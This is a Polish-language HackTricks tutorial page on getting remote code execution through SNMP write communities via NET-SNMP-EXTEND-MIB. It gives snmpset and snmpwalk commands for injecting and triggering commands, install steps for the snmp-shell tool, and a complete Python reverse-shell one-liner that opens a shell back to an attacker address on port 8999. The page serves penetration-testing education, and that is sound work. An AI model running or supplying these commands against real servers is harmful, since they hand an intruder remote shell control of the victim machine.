5.1 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SNMP RCE
SNMP może być wykorzystane przez atakującego, jeśli administrator zignoruje jego domyślną konfigurację na urządzeniu lub serwerze. Poprzez nadużycie społeczności SNMP z uprawnieniami do zapisu (rwcommunity) na systemie operacyjnym Linux, atakujący może wykonywać polecenia na serwerze.
Rozszerzanie usług o dodatkowe polecenia
Aby rozszerzyć usługi SNMP i dodać dodatkowe polecenia, możliwe jest dodanie nowych wierszy do tabeli "nsExtendObjects". Można to osiągnąć, używając polecenia snmpset
i podając niezbędne parametry, w tym absolutną ścieżkę do pliku wykonywalnego oraz polecenie do wykonania:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Wstrzykiwanie poleceń do wykonania
Wstrzykiwanie poleceń do uruchomienia na usłudze SNMP wymaga istnienia i możliwości wykonania wywoływanego binarnego/skryptu. NET-SNMP-EXTEND-MIB
nakłada obowiązek podania absolutnej ścieżki do pliku wykonywalnego.
Aby potwierdzić wykonanie wstrzykniętego polecenia, można użyć polecenia snmpwalk
, aby wyliczyć usługę SNMP. wynik wyświetli polecenie i jego powiązane szczegóły, w tym absolutną ścieżkę:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Uruchamianie Wstrzykniętych Komend
Gdy wstrzyknięta komenda jest odczytywana, jest wykonywana. To zachowanie jest znane jako run-on-read()
. Wykonanie komendy można zaobserwować podczas odczytu snmpwalk.
Uzyskiwanie Powłoki Serwera za pomocą SNMP
Aby uzyskać kontrolę nad serwerem i zdobyć powłokę serwera, można wykorzystać skrypt Pythona opracowany przez mxrch z https://github.com/mxrch/snmp-shell.git.
Alternatywnie, powłokę odwrotną można ręcznie stworzyć, wstrzykując konkretną komendę do SNMP. Ta komenda, uruchamiana przez snmpwalk, nawiązuje połączenie powłoki odwrotnej z maszyną atakującego, umożliwiając kontrolę nad maszyną ofiary. Możesz zainstalować wymagane elementy do uruchomienia tego:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Lub odwrotna powłoka:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Odniesienia
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.